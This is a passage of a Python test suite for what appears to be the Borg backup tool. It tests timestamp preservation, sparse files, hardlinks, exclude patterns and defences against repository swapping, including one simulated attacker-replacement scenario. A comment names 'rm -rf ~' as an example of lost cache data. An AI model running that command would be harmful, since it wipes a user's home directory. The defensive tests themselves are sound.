flags_noatime)) as file: file.read() except PermissionError: return False else: atime_after = os.stat(some_file).st_atime_ns noatime_used = flags_noatime != flags_normal return noatime_used and atime_before == atime_after self.create_test_files() atime, mtime = 123456780, 234567890 have_noatime = has_noatime('input/file1') os.utime('input/file1', (atime, mtime)) self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', '--atime', self.repository_location + '::test', 'input') with changedir('output'): self.cmd('extract', self.repository_location + '::test') sti = os.stat('input/file1') sto = os.stat('output/input/file1') assert sti.st_mtime_ns == sto.st_mtime_ns == mtime * 1e9 if have_noatime: assert sti.st_atime_ns == sto.st_atime_ns == atime * 1e9 else: # it touched the input file's atime while backing it up assert sto.st_atime_ns == atime * 1e9 @pytest.mark.skipif(not is_utime_fully_supported(), reason='cannot properly setup and execute test without utime') @pytest.mark.skipif(not is_birthtime_fully_supported(), reason='cannot properly setup and execute test without birthtime') def test_birthtime(self): self.create_test_files() birthtime, mtime, atime = 946598400, 946684800, 946771200 os.utime('input/file1', (atime, birthtime)) os.utime('input/file1', (atime, mtime)) self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') with changedir('output'): self.cmd('extract', self.repository_location + '::test') sti = os.stat('input/file1') sto = os.stat('output/input/file1') assert int(sti.st_birthtime * 1e9) == int(sto.st_birthtime * 1e9) == birthtime * 1e9 assert sti.st_mtime_ns == sto.st_mtime_ns == mtime * 1e9 @pytest.mark.skipif(not is_utime_fully_supported(), reason='cannot properly setup and execute test without utime') @pytest.mark.skipif(not is_birthtime_fully_supported(), reason='cannot properly setup and execute test without birthtime') def test_nobirthtime(self): self.create_test_files() birthtime, mtime, atime = 946598400, 946684800, 946771200 os.utime('input/file1', (atime, birthtime)) os.utime('input/file1', (atime, mtime)) self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', '--nobirthtime', self.repository_location + '::test', 'input') with changedir('output'): self.cmd('extract', self.repository_location + '::test') sti = os.stat('input/file1') sto = os.stat('output/input/file1') assert int(sti.st_birthtime * 1e9) == birthtime * 1e9 assert int(sto.st_birthtime * 1e9) == mtime * 1e9 assert sti.st_mtime_ns == sto.st_mtime_ns == mtime * 1e9 def _extract_repository_id(self, path): with Repository(self.repository_path) as repository: return repository.id def _set_repository_id(self, path, id): config = ConfigParser(interpolation=None) config.read(os.path.join(path, 'config')) config.set('repository', 'id', bin_to_hex(id)) with open(os.path.join(path, 'config'), 'w') as fd: config.write(fd) with Repository(self.repository_path) as repository: return repository.id def test_sparse_file(self): def is_sparse(fn, total_size, hole_size): st = os.stat(fn) assert st.st_size == total_size sparse = True if sparse and hasattr(st, 'st_blocks') and st.st_blocks * 512 >= st.st_size: sparse = False if sparse and has_seek_hole: with open(fn, 'rb') as fd: # only check if the first hole is as expected, because the 2nd hole check # is problematic on xfs due to its "dynamic speculative EOF preallocation try: if fd.seek(0, os.SEEK_HOLE) != 0: sparse = False if fd.seek(0, os.SEEK_DATA) != hole_size: sparse = False except OSError: # OS/FS does not really support SEEK_HOLE/SEEK_DATA sparse = False return sparse filename = os.path.join(self.input_path, 'sparse') content = b'foobar' hole_size = 5 * (1 << CHUNK_MAX_EXP) # 5 full chunker buffers total_size = hole_size + len(content) + hole_size with open(filename, 'wb') as fd: # create a file that has a hole at the beginning and end (if the # OS and filesystem supports sparse files) fd.seek(hole_size, 1) fd.write(content) fd.seek(hole_size, 1) pos = fd.tell() fd.truncate(pos) # we first check if we could create a sparse input file: sparse_support = is_sparse(filename, total_size, hole_size) if sparse_support: # we could create a sparse input file, so creating a backup of it and # extracting it again (as sparse) should also work: self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') with changedir(self.output_path): self.cmd('extract', '--sparse', self.repository_location + '::test') self.assert_dirs_equal('input', 'output/input') filename = os.path.join(self.output_path, 'input', 'sparse') with open(filename, 'rb') as fd: # check if file contents are as expected self.assert_equal(fd.read(hole_size), b'\0' * hole_size) self.assert_equal(fd.read(len(content)), content) self.assert_equal(fd.read(hole_size), b'\0' * hole_size) assert is_sparse(filename, total_size, hole_size) def test_unusual_filenames(self): filenames = ['normal', 'with some blanks', '(with_parens)', ] for filename in filenames: filename = os.path.join(self.input_path, filename) with open(filename, 'wb'): pass self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') for filename in filenames: with changedir('output'): self.cmd('extract', self.repository_location + '::test', os.path.join('input', filename)) assert os.path.exists(os.path.join('output', 'input', filename)) def test_repository_swap_detection(self): self.create_test_files() os.environ['BORG_PASSPHRASE'] = 'passphrase' self.cmd('init', '--encryption=repokey', self.repository_location) repository_id = self._extract_repository_id(self.repository_path) self.cmd('create', self.repository_location + '::test', 'input') shutil.rmtree(self.repository_path) self.cmd('init', '--encryption=none', self.repository_location) self._set_repository_id(self.repository_path, repository_id) self.assert_equal(repository_id, self._extract_repository_id(self.repository_path)) if self.FORK_DEFAULT: self.cmd('create', self.repository_location + '::test.2', 'input', exit_code=EXIT_ERROR) else: with pytest.raises(Cache.EncryptionMethodMismatch): self.cmd('create', self.repository_location + '::test.2', 'input') def test_repository_swap_detection2(self): self.create_test_files() self.cmd('init', '--encryption=none', self.repository_location + '_unencrypted') os.environ['BORG_PASSPHRASE'] = 'passphrase' self.cmd('init', '--encryption=repokey', self.repository_location + '_encrypted') self.cmd('create', self.repository_location + '_encrypted::test', 'input') shutil.rmtree(self.repository_path + '_encrypted') os.rename(self.repository_path + '_unencrypted', self.repository_path + '_encrypted') if self.FORK_DEFAULT: self.cmd('create', self.repository_location + '_encrypted::test.2', 'input', exit_code=EXIT_ERROR) else: with pytest.raises(Cache.RepositoryAccessAborted): self.cmd('create', self.repository_location + '_encrypted::test.2', 'input') def test_repository_swap_detection_no_cache(self): self.create_test_files() os.environ['BORG_PASSPHRASE'] = 'passphrase' self.cmd('init', '--encryption=repokey', self.repository_location) repository_id = self._extract_repository_id(self.repository_path) self.cmd('create', self.repository_location + '::test', 'input') shutil.rmtree(self.repository_path) self.cmd('init', '--encryption=none', self.repository_location) self._set_repository_id(self.repository_path, repository_id) self.assert_equal(repository_id, self._extract_repository_id(self.repository_path)) self.cmd('delete', '--cache-only', self.repository_location) if self.FORK_DEFAULT: self.cmd('create', self.repository_location + '::test.2', 'input', exit_code=EXIT_ERROR) else: with pytest.raises(Cache.EncryptionMethodMismatch): self.cmd('create', self.repository_location + '::test.2', 'input') def test_repository_swap_detection2_no_cache(self): self.create_test_files() self.cmd('init', '--encryption=none', self.repository_location + '_unencrypted') os.environ['BORG_PASSPHRASE'] = 'passphrase' self.cmd('init', '--encryption=repokey', self.repository_location + '_encrypted') self.cmd('create', self.repository_location + '_encrypted::test', 'input') self.cmd('delete', '--cache-only', self.repository_location + '_unencrypted') self.cmd('delete', '--cache-only', self.repository_location + '_encrypted') shutil.rmtree(self.repository_path + '_encrypted') os.rename(self.repository_path + '_unencrypted', self.repository_path + '_encrypted') if self.FORK_DEFAULT: self.cmd('create', self.repository_location + '_encrypted::test.2', 'input', exit_code=EXIT_ERROR) else: with pytest.raises(Cache.RepositoryAccessAborted): self.cmd('create', self.repository_location + '_encrypted::test.2', 'input') def test_repository_swap_detection_repokey_blank_passphrase(self): # Check that a repokey repo with a blank passphrase is considered like a plaintext repo. self.create_test_files() # User initializes her repository with her passphrase self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') # Attacker replaces it with her own repository, which is encrypted but has no passphrase set shutil.rmtree(self.repository_path) with environment_variable(BORG_PASSPHRASE=''): self.cmd('init', '--encryption=repokey', self.repository_location) # Delete cache & security database, AKA switch to user perspective self.cmd('delete', '--cache-only', self.repository_location) shutil.rmtree(self.get_security_dir()) with environment_variable(BORG_PASSPHRASE=None): # This is the part were the user would be tricked, e.g. she assumes that BORG_PASSPHRASE # is set, while it isn't. Previously this raised no warning, # since the repository is, technically, encrypted. if self.FORK_DEFAULT: self.cmd('create', self.repository_location + '::test.2', 'input', exit_code=EXIT_ERROR) else: with pytest.raises(Cache.CacheInitAbortedError): self.cmd('create', self.repository_location + '::test.2', 'input') def test_repository_move(self): self.cmd('init', '--encryption=repokey', self.repository_location) security_dir = self.get_security_dir() os.rename(self.repository_path, self.repository_path + '_new') with environment_variable(BORG_RELOCATED_REPO_ACCESS_IS_OK='yes'): self.cmd('info', self.repository_location + '_new') with open(os.path.join(security_dir, 'location')) as fd: location = fd.read() assert location == Location(self.repository_location + '_new').canonical_path() # Needs no confirmation anymore self.cmd('info', self.repository_location + '_new') shutil.rmtree(self.cache_path) self.cmd('info', self.repository_location + '_new') shutil.rmtree(security_dir) self.cmd('info', self.repository_location + '_new') for file in ('location', 'key-type', 'manifest-timestamp'): assert os.path.exists(os.path.join(security_dir, file)) def test_security_dir_compat(self): self.cmd('init', '--encryption=repokey', self.repository_location) with open(os.path.join(self.get_security_dir(), 'location'), 'w') as fd: fd.write('something outdated') # This is fine, because the cache still has the correct information. security_dir and cache can disagree # if older versions are used to confirm a renamed repository. self.cmd('info', self.repository_location) def test_unknown_unencrypted(self): self.cmd('init', '--encryption=none', self.repository_location) # Ok: repository is known self.cmd('info', self.repository_location) # Ok: repository is still known (through security_dir) shutil.rmtree(self.cache_path) self.cmd('info', self.repository_location) # Needs confirmation: cache and security dir both gone (eg. another host or rm -rf ~) shutil.rmtree(self.cache_path) shutil.rmtree(self.get_security_dir()) if self.FORK_DEFAULT: self.cmd('info', self.repository_location, exit_code=EXIT_ERROR) else: with pytest.raises(Cache.CacheInitAbortedError): self.cmd('info', self.repository_location) with environment_variable(BORG_UNKNOWN_UNENCRYPTED_REPO_ACCESS_IS_OK='yes'): self.cmd('info', self.repository_location) def test_strip_components(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_regular_file('dir/file') self.cmd('create', self.repository_location + '::test', 'input') with changedir('output'): self.cmd('extract', self.repository_location + '::test', '--strip-components', '3') assert not os.path.exists('file') with self.assert_creates_file('file'): self.cmd('extract', self.repository_location + '::test', '--strip-components', '2') with self.assert_creates_file('dir/file'): self.cmd('extract', self.repository_location + '::test', '--strip-components', '1') with self.assert_creates_file('input/dir/file'): self.cmd('extract', self.repository_location + '::test', '--strip-components', '0') def _extract_hardlinks_setup(self): os.mkdir(os.path.join(self.input_path, 'dir1')) os.mkdir(os.path.join(self.input_path, 'dir1/subdir')) self.create_regular_file('source', contents=b'123456') os.link(os.path.join(self.input_path, 'source'), os.path.join(self.input_path, 'abba')) os.link(os.path.join(self.input_path, 'source'), os.path.join(self.input_path, 'dir1/hardlink')) os.link(os.path.join(self.input_path, 'source'), os.path.join(self.input_path, 'dir1/subdir/hardlink')) self.create_regular_file('dir1/source2') os.link(os.path.join(self.input_path, 'dir1/source2'), os.path.join(self.input_path, 'dir1/aaaa')) self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') @requires_hardlinks @unittest.skipUnless(llfuse, 'llfuse not installed') def test_fuse_mount_hardlinks(self): self._extract_hardlinks_setup() mountpoint = os.path.join(self.tmpdir, 'mountpoint') # we need to get rid of permissions checking because fakeroot causes issues with it. # On all platforms, borg defaults to "default_permissions" and we need to get rid of it via "ignore_permissions". # On macOS (darwin), we additionally need "defer_permissions" to switch off the checks in osxfuse. if sys.platform == 'darwin': ignore_perms = ['-o', 'ignore_permissions,defer_permissions'] else: ignore_perms = ['-o', 'ignore_permissions'] with self.fuse_mount(self.repository_location + '::test', mountpoint, '--strip-components=2', *ignore_perms), \ changedir(mountpoint): assert os.stat('hardlink').st_nlink == 2 assert os.stat('subdir/hardlink').st_nlink == 2 assert open('subdir/hardlink', 'rb').read() == b'123456' assert os.stat('aaaa').st_nlink == 2 assert os.stat('source2').st_nlink == 2 with self.fuse_mount(self.repository_location + '::test', mountpoint, 'input/dir1', *ignore_perms), \ changedir(mountpoint): assert os.stat('input/dir1/hardlink').st_nlink == 2 assert os.stat('input/dir1/subdir/hardlink').st_nlink == 2 assert open('input/dir1/subdir/hardlink', 'rb').read() == b'123456' assert os.stat('input/dir1/aaaa').st_nlink == 2 assert os.stat('input/dir1/source2').st_nlink == 2 with self.fuse_mount(self.repository_location + '::test', mountpoint, *ignore_perms), \ changedir(mountpoint): assert os.stat('input/source').st_nlink == 4 assert os.stat('input/abba').st_nlink == 4 assert os.stat('input/dir1/hardlink').st_nlink == 4 assert os.stat('input/dir1/subdir/hardlink').st_nlink == 4 assert open('input/dir1/subdir/hardlink', 'rb').read() == b'123456' @requires_hardlinks def test_extract_hardlinks1(self): self._extract_hardlinks_setup() with changedir('output'): self.cmd('extract', self.repository_location + '::test') assert os.stat('input/source').st_nlink == 4 assert os.stat('input/abba').st_nlink == 4 assert os.stat('input/dir1/hardlink').st_nlink == 4 assert os.stat('input/dir1/subdir/hardlink').st_nlink == 4 assert open('input/dir1/subdir/hardlink', 'rb').read() == b'123456' @requires_hardlinks def test_extract_hardlinks2(self): self._extract_hardlinks_setup() with changedir('output'): self.cmd('extract', self.repository_location + '::test', '--strip-components', '2') assert os.stat('hardlink').st_nlink == 2 assert os.stat('subdir/hardlink').st_nlink == 2 assert open('subdir/hardlink', 'rb').read() == b'123456' assert os.stat('aaaa').st_nlink == 2 assert os.stat('source2').st_nlink == 2 with changedir('output'): self.cmd('extract', self.repository_location + '::test', 'input/dir1') assert os.stat('input/dir1/hardlink').st_nlink == 2 assert os.stat('input/dir1/subdir/hardlink').st_nlink == 2 assert open('input/dir1/subdir/hardlink', 'rb').read() == b'123456' assert os.stat('input/dir1/aaaa').st_nlink == 2 assert os.stat('input/dir1/source2').st_nlink == 2 @requires_hardlinks def test_extract_hardlinks_twice(self): # setup for #5603 path_a = os.path.join(self.input_path, 'a') path_b = os.path.join(self.input_path, 'b') os.mkdir(path_a) os.mkdir(path_b) hl_a = os.path.join(path_a, 'hardlink') hl_b = os.path.join(path_b, 'hardlink') self.create_regular_file(hl_a, contents=b'123456') os.link(hl_a, hl_b) self.cmd('init', '--encryption=none', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input', 'input') # give input twice! # now test extraction with changedir('output'): self.cmd('extract', self.repository_location + '::test') # if issue #5603 happens, extraction gives rc == 1 (triggering AssertionError) and warnings like: # input/a/hardlink: link: [Errno 2] No such file or directory: 'input/a/hardlink' -> 'input/a/hardlink' # input/b/hardlink: link: [Errno 2] No such file or directory: 'input/a/hardlink' -> 'input/b/hardlink' # otherwise, when fixed, the hardlinks should be there and have a link count of 2 assert os.stat('input/a/hardlink').st_nlink == 2 assert os.stat('input/b/hardlink').st_nlink == 2 def test_extract_include_exclude(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_regular_file('file1', size=1024 * 80) self.create_regular_file('file2', size=1024 * 80) self.create_regular_file('file3', size=1024 * 80) self.create_regular_file('file4', size=1024 * 80) self.cmd('create', '--exclude=input/file4', self.repository_location + '::test', 'input') with changedir('output'): self.cmd('extract', self.repository_location + '::test', 'input/file1', ) self.assert_equal(sorted(os.listdir('output/input')), ['file1']) with changedir('output'): self.cmd('extract', '--exclude=input/file2', self.repository_location + '::test') self.assert_equal(sorted(os.listdir('output/input')), ['file1', 'file3']) with changedir('output'): self.cmd('extract', '--exclude-from=' + self.exclude_file_path, self.repository_location + '::test') self.assert_equal(sorted(os.listdir('output/input')), ['file1', 'file3']) def test_extract_include_exclude_regex(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_regular_file('file1', size=1024 * 80) self.create_regular_file('file2', size=1024 * 80) self.create_regular_file('file3', size=1024 * 80) self.create_regular_file('file4', size=1024 * 80) self.create_regular_file('file333', size=1024 * 80) # Create with regular expression exclusion for file4 self.cmd('create', '--exclude=re:input/file4$', self.repository_location + '::test', 'input') with changedir('output'): self.cmd('extract', self.repository_location + '::test') self.assert_equal(sorted(os.listdir('output/input')), ['file1', 'file2', 'file3', 'file333']) shutil.rmtree('output/input') # Extract with regular expression exclusion with changedir('output'): self.cmd('extract', '--exclude=re:file3+', self.repository_location + '::test') self.assert_equal(sorted(os.listdir('output/input')), ['file1', 'file2']) shutil.rmtree('output/input') # Combine --exclude with fnmatch and regular expression with changedir('output'): self.cmd('extract', '--exclude=input/file2', '--exclude=re:file[01]', self.repository_location + '::test') self.assert_equal(sorted(os.listdir('output/input')), ['file3', 'file333']) shutil.rmtree('output/input') # Combine --exclude-from and regular expression exclusion with changedir('output'): self.cmd('extract', '--exclude-from=' + self.exclude_file_path, '--exclude=re:file1', '--exclude=re:file(\\d)\\1\\1$', self.repository_location + '::test') self.assert_equal(sorted(os.listdir('output/input')), ['file3']) def test_extract_include_exclude_regex_from_file(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_regular_file('file1', size=1024 * 80) self.create_regular_file('file2', size=1024 * 80) self.create_regular_file('file3', size=1024 * 80) self.create_regular_file('file4', size=1024 * 80) self.create_regular_file('file333', size=1024 * 80) self.create_regular_file('aa:something', size=1024 * 80) # Create while excluding using mixed pattern styles with open(self.exclude_file_path, 'wb') as fd: fd.write(b're:input/file4$\n') fd.write(b'fm:*aa:*thing\n') self.cmd('create', '--exclude-from=' + self.exclude_file_path, self.repository_location + '::test', 'input') with changedir('output'): self.cmd('extract', self.repository_location + '::test') self.assert_equal(sorted(os.listdir('output/input')), ['file1', 'file2', 'file3', 'file333']) shutil.rmtree('output/input') # Exclude using regular expression with open(self.exclude_file_path, 'wb') as fd: fd.write(b're:file3+\n') with changedir('output'): self.cmd('extract', '--exclude-from=' + self.exclude_file_path, self.repository_location + '::test') self.assert_equal(sorted(os.listdir('output/input')), ['file1', 'file2']) shutil.rmtree('output/input') # Mixed exclude pattern styles with open(self.exclude_file_path, 'wb') as fd: fd.write(b're:file(\\d)\\1\\1$\n') fd.write(b'fm:nothingwillmatchthis\n') fd.write(b'*/file1\n') fd.write(b're:file2$\n') with changedir('output'): self.cmd('extract', '--exclude-from=' + self.exclude_file_path, self.repository_location + '::test') self.assert_equal(sorted(os.listdir('output/input')), ['file3']) def test_extract_with_pattern(self): self.cmd("init", '--encryption=repokey', self.repository_location) self.create_regular_file("file1", size=1024 * 80) self.create_regular_file("file2", size=1024 * 80) self.create_regular_file("file3", size=1024 * 80) self.create_regular_file("file4", size=1024 * 80) self.create_regular_file("file333", size=1024 * 80) self.cmd("create", self.repository_location + "::test", "input") # Extract everything with regular expression with changedir("output"): self.cmd("extract", self.repository_location + "::test", "re:.*") self.assert_equal(sorted(os.listdir("output/input")), ["file1", "file2", "file3", "file333", "file4"]) shutil.rmtree("output/input") # Extract with pattern while also excluding files with changedir("output"): self.cmd("extract", "--exclude=re:file[34]$", self.repository_location + "::test", r"re:file\d$") self.assert_equal(sorted(os.listdir("output/input")), ["file1", "file2"]) shutil.rmtree("output/input") # Combine --exclude with pattern for extraction with changedir("output"): self.cmd("extract", "--exclude=input/file1", self.repository_location + "::test", "re:file[12]$") self.assert_equal(sorted(os.listdir("output/input")), ["file2"]) shutil.rmtree("output/input") # Multiple pattern with changedir("output"): self.cmd("extract", self.repository_location + "::test", "fm:input/file1", "fm:*file33*", "input/file2") self.assert_equal(sorted(os.listdir("output/input")), ["file1", "file2", "file333"]) def test_extract_list_output(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_regular_file('file', size=1024 * 80) self.cmd('create', self.repository_location + '::test', 'input') with changedir('output'): output = self.cmd('extract', self.repository_location + '::test') self.assert_not_in("input/file", output) shutil.rmtree('output/input') with changedir('output'): output = self.cmd('extract', '--info', self.repository_location + '::test') self.assert_not_in("input/file", output) shutil.rmtree('output/input') with changedir('output'): output = self.cmd('extract', '--list', self.repository_location + '::test') self.assert_in("input/file", output) shutil.rmtree('output/input') with changedir('output'): output = self.cmd('extract', '--list', '--info', self.repository_location + '::test') self.assert_in("input/file", output) def test_extract_progress(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_regular_file('file', size=1024 * 80) self.cmd('create', self.repository_location + '::test', 'input') with changedir('output'): output = self.cmd('extract', self.repository_location + '::test', '--progress') assert 'Extracting:' in output def _create_test_caches(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_regular_file('file1', size=1024 * 80) self.create_regular_file('cache1/%s' % CACHE_TAG_NAME, contents=CACHE_TAG_CONTENTS + b' extra stuff') self.create_regular_file('cache2/%s' % CACHE_TAG_NAME, contents=b'invalid signature') os.mkdir('input/cache3') if are_hardlinks_supported(): os.link('input/cache1/%s' % CACHE_TAG_NAME, 'input/cache3/%s' % CACHE_TAG_NAME) else: self.create_regular_file('cache3/%s' % CACHE_TAG_NAME, contents=CACHE_TAG_CONTENTS + b' extra stuff') def test_create_stdin(self): self.cmd('init', '--encryption=repokey', self.repository_location) input_data = b'\x00foo\n\nbar\n \n' self.cmd('create', self.repository_location + '::test', '-', input=input_data) item = json.loads(self.cmd('list', '--json-lines', self.repository_location + '::test')) assert item['uid'] == 0 assert item['gid'] == 0 assert item['size'] == len(input_data) assert item['path'] == 'stdin' extracted_data = self.cmd('extract', '--stdout', self.repository_location + '::test', binary_output=True) assert extracted_data == input_data def test_create_content_from_command(self): self.cmd('init', '--encryption=repokey', self.repository_location) input_data = 'some test content' name = 'a/b/c' self.cmd('create', '--stdin-name', name, '--content-from-command', self.repository_location + '::test', '--', 'echo', input_data) item = json.loads(self.cmd('list', '--json-lines', self.repository_location + '::test')) assert item['uid'] == 0 assert item['gid'] == 0 assert item['size'] == len(input_data) + 1 # `echo` adds newline assert item['path'] == name extracted_data = self.cmd('extract', '--stdout', self.repository_location + '::test') assert extracted_data == input_data + '\n' def test_create_content_from_command_with_failed_command(self): self.cmd('init', '--encryption=repokey', self.repository_location) output = self.cmd('create', '--content-from-command', self.repository_location + '::test', '--', 'sh', '-c', 'exit 73;', exit_code=2) assert output.endswith("Command 'sh' exited with status 73\n") archive_list = json.loads(self.cmd('list', '--json', self.repository_location)) assert archive_list['archives'] == [] def test_create_content_from_command_missing_command(self): self.cmd('init', '--encryption=repokey', self.repository_location) output = self.cmd('create', '--content-from-command', self.repository_location + '::test', exit_code=2) assert output.endswith('No command given.\n') def test_create_paths_from_stdin(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_regular_file("file1", size=1024 * 80) self.create_regular_file("dir1/file2", size=1024 * 80) self.create_regular_file("dir1/file3", size=1024 * 80) self.create_regular_file("file4", size=1024 * 80) input_data = b'input/file1\0input/dir1\0input/file4' self.cmd('create', '--paths-from-stdin', '--paths-delimiter', '\\0', self.repository_location + '::test', input=input_data) archive_list = self.cmd('list', '--json-lines', self.repository_location + '::test') paths = [json.loads(line)['path'] for line in archive_list.split('\n') if line] assert paths == ['input/file1', 'input/dir1', 'input/file4'] def test_create_paths_from_command(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_regular_file("file1", size=1024 * 80) self.create_regular_file("file2", size=1024 * 80) self.create_regular_file("file3", size=1024 * 80) self.create_regular_file("file4", size=1024 * 80) input_data = 'input/file1\ninput/file2\ninput/file3' self.cmd('create', '--paths-from-command', self.repository_location + '::test', '--', 'echo', input_data) archive_list = self.cmd('list', '--json-lines', self.repository_location + '::test') paths = [json.loads(line)['path'] for line in archive_list.split('\n') if line] assert paths == ['input/file1', 'input/file2', 'input/file3'] def test_create_paths_from_command_with_failed_command(self): self.cmd('init', '--encryption=repokey', self.repository_location) output = self.cmd('create', '--paths-from-command', self.repository_location + '::test', '--', 'sh', '-c', 'exit 73;', exit_code=2) assert output.endswith("Command 'sh' exited with status 73\n") archive_list = json.loads(self.cmd('list', '--json', self.repository_location)) assert archive_list['archives'] == [] def test_create_paths_from_command_missing_command(self): self.cmd('init', '--encryption=repokey', self.repository_location) output = self.cmd('create', '--paths-from-command', self.repository_location + '::test', exit_code=2) assert output.endswith('No command given.\n') def test_create_without_root(self): """test create without a root""" self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', exit_code=2) def test_create_pattern_root(self): """test create with only a root pattern""" self.cmd('init', '--encryption=repokey', self.repository_location) self.create_regular_file('file1', size=1024 * 80) self.create_regular_file('file2', size=1024 * 80) output = self.cmd('create', '-v', '--list', '--pattern=R input', self.repository_location + '::test') self.assert_in("A input/file1", output) self.assert_in("A input/file2", output) def test_create_pattern(self): """test file patterns during create""" self.cmd('init', '--encryption=repokey', self.repository_location) self.create_regular_file('file1', size=1024 * 80) self.create_regular_file('file2', size=1024 * 80) self.create_regular_file('file_important', size=1024 * 80) output = self.cmd('create', '-v', '--list', '--pattern=+input/file_important', '--pattern=-input/file*', self.repository_location + '::test', 'input') self.assert_in("A input/file_important", output) self.assert_in('x input/file1', output) self.assert_in('x input/file2', output) def test_create_pattern_file(self): """test file patterns during create""" self.cmd('init', '--encryption=repokey', self.repository_location) self.create_regular_file('file1', size=1024 * 80) self.create_regular_file('file2', size=1024 * 80) self.create_regular_file('otherfile', size=1024 * 80) self.create_regular_file('file_important', size=1024 * 80) output = self.cmd('create', '-v', '--list', '--pattern=-input/otherfile', '--patterns-from=' + self.patterns_file_path, self.repository_location + '::test', 'input') self.assert_in("A input/file_important", output) self.assert_in('x input/file1', output) self.assert_in('x input/file2', output) self.assert_in('x input/otherfile', output) def test_create_pattern_exclude_folder_but_recurse(self): """test when patterns exclude a parent folder, but include a child""" self.patterns_file_path2 = os.path.join(self.tmpdir, 'patterns2') with open(self.patterns_file_path2, 'wb') as fd: fd.write(b'+ input/x/b\n- input/x*\n') self.cmd('init', '--encryption=repokey', self.repository_location) self.create_regular_file('x/a/foo_a', size=1024 * 80) self.create_regular_file('x/b/foo_b', size=1024 * 80) self.create_regular_file('y/foo_y', size=1024 * 80) output = self.cmd('create', '-v', '--list', '--patterns-from=' + self.patterns_file_path2, self.repository_location + '::test', 'input') self.assert_in('x input/x/a/foo_a', output) self.assert_in("A input/x/b/foo_b", output) self.assert_in('A input/y/foo_y', output) def test_create_pattern_exclude_folder_no_recurse(self): """test when patterns exclude a parent folder and, but include a child""" self.patterns_file_path2 = os.path.join(self.tmpdir, 'patterns2') with open(self.patterns_file_path2, 'wb') as fd: fd.write(b'+ input/x/b\n! input/x*\n') self.cmd('init', '--encryption=repokey', self.repository_location) self.create_regular_file('x/a/foo_a', size=1024 * 80) self.create_regular_file('x/b/foo_b', size=1024 * 80) self.create_regular_file('y/foo_y', size=1024 * 80) output = self.cmd('create', '-v', '--list', '--patterns-from=' + self.patterns_file_path2, self.repository_location + '::test', 'input') self.assert_not_in('input/x/a/foo_a', output) self.assert_not_in('input/x/a', output) self.assert_in('A input/y/foo_y', output) def test_create_pattern_intermediate_folders_first(self): """test that intermediate folders appear first when patterns exclude a parent folder but include a child""" self.patterns_file_path2 = os.path.join(self.tmpdir, 'patterns2') with open(self.patterns_file_path2, 'wb') as fd: fd.write(b'+ input/x/a\n+ input/x/b\n- input/x*\n') self.cmd('init', '--encryption=repokey', self.repository_location) self.create_regular_file('x/a/foo_a', size=1024 * 80) self.create_regular_file('x/b/foo_b', size=1024 * 80) with changedir('input'): self.cmd('create', '--patterns-from=' + self.patterns_file_path2, self.repository_location + '::test', '.') # list the archive and verify that the "intermediate" folders appear before # their contents out = self.cmd('list', '--format', '{type} {path}{NL}', self.repository_location + '::test') out_list = out.splitlines() self.assert_in('d x/a', out_list) self.assert_in('d x/b', out_list) assert out_list.index('d x/a') < out_list.index('- x/a/foo_a') assert out_list.index('d x/b') < out_list.index('- x/b/foo_b') def test_create_no_cache_sync(self): self.create_test_files() self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('delete', '--cache-only', self.repository_location) create_json = json.loads(self.cmd('create', '--no-cache-sync', self.repository_location + '::test', 'input', '--json', '--error')) # ignore experimental warning info_json = json.loads(self.cmd('info', self.repository_location + '::test', '--json')) create_stats = create_json['cache']['stats'] info_stats = info_json['cache']['stats'] assert create_stats == info_stats self.cmd('delete', '--cache-only', self.repository_location) self.cmd('create', '--no-cache-sync', self.repository_location + '::test2', 'input') self.cmd('info', self.repository_location) self.cmd('check', self.repository_location) def test_extract_pattern_opt(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_regular_file('file1', size=1024 * 80) self.create_regular_file('file2', size=1024 * 80) self.create_regular_file('file_important', size=1024 * 80) self.cmd('create', self.repository_location + '::test', 'input') with changedir('output'): self.cmd('extract', '--pattern=+input/file_important', '--pattern=-input/file*', self.repository_location + '::test') self.assert_equal(sorted(os.listdir('output/input')), ['file_important']) def _assert_test_caches(self): with changedir('output'): self.cmd('extract', self.repository_location + '::test') self.assert_equal(sorted(os.listdir('output/input')), ['cache2', 'file1']) self.assert_equal(sorted(os.listdir('output/input/cache2')), [CACHE_TAG_NAME]) def test_exclude_caches(self): self._create_test_caches() self.cmd('create', '--exclude-caches', self.repository_location + '::test', 'input') self._assert_test_caches() def test_recreate_exclude_caches(self): self._create_test_caches() self.cmd('create', self.repository_location + '::test', 'input') self.cmd('recreate', '--exclude-caches', self.repository_location + '::test') self._assert_test_caches() def _create_test_tagged(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_regular_file('file1', size=1024 * 80) self.create_regular_file('tagged1/.NOBACKUP') self.create_regular_file('tagged2/00-NOBACKUP') self.create_regular_file('tagged3/.NOBACKUP/file2', size=1024) def _assert_test_tagged(self): with changedir('output'): self.cmd('extract', self.repository_location + '::test') self.assert_equal(sorted(os.listdir('output/input')), ['file1']) def test_exclude_tagged(self): self._create_test_tagged() self.cmd('create', '--exclude-if-present', '.NOBACKUP', '--exclude-if-present', '00-NOBACKUP', self.repository_location + '::test', 'input') self._assert_test_tagged() def test_recreate_exclude_tagged(self): self._create_test_tagged() self.cmd('create', self.repository_location + '::test', 'input') self.cmd('recreate', '--exclude-if-present', '.NOBACKUP', '--exclude-if-present', '00-NOBACKUP', self.repository_location + '::test') self._assert_test_tagged() def 